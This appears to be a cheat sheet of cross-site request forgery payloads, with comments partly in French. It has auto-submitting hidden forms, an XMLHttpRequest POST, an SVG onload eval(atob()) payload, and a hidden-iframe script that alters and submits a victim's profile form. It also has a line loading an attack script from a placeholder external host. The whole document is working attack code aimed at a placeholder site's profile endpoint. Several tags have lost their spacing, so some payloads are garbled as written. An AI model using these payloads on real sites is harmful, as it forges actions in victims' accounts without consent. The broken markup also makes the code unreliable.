# Basic form
<formname="pls"action="https://xxx.fr/index.php?action=profile"method="post"><divclass="form-group"><label>Username:</label><inputname="username"value="devsid"type="text"></div><br><divclass="form-group"><label>Status:</label><inputname="status"checked="checked"type="checkbox"></div><br><buttontype="submit">Submit</button></form><scriptlanguage="javascript">document.pls.submit();</script>
# Basic form
<html><body><formname="csrf"action="https://xxx.fr/index.php?action=profile"method="POST"><inputtype="hidden"name="username"value="aaa"><inputtype="hidden"name="status"value="on"></form><scripttype="text/javascript">document.csrf.submit();</script></body></html>
# Form using XMLHttpRequest
<script>varformData=newFormData();formData.append("username","test");formData.append("status","on");varrequest=newXMLHttpRequest();request.open("POST","https://xxx.fr/index.php?action=profile");request.send(formData);</script>
# Encoded payload
<svg/onload=eval(atob('<base 64 payload>'));//>
# You can also host a script and then call it if the target is XSS vulnerable
// On charge le formulaire dans une frame invisible
document.write('<iframe id=\"iframe\" src=\"https://xxx.fr/index.php?action=profile\" width="0" height="0" onload=\"pwn()\"></iframe>');
//On modifie les champs à notre guise
function pwn(){
document.getElementById('iframe').contentDocument.forms[0].username.value='titi';
document.getElementById('iframe').contentDocument.forms[0].status.checked=true;
document.getElementById('iframe').contentDocument.forms[0].status.disabled=false
document.getElementById('iframe').contentDocument.forms[0].submit();}# Load
<script src="http://XXXXXXX/csrf.js"></script>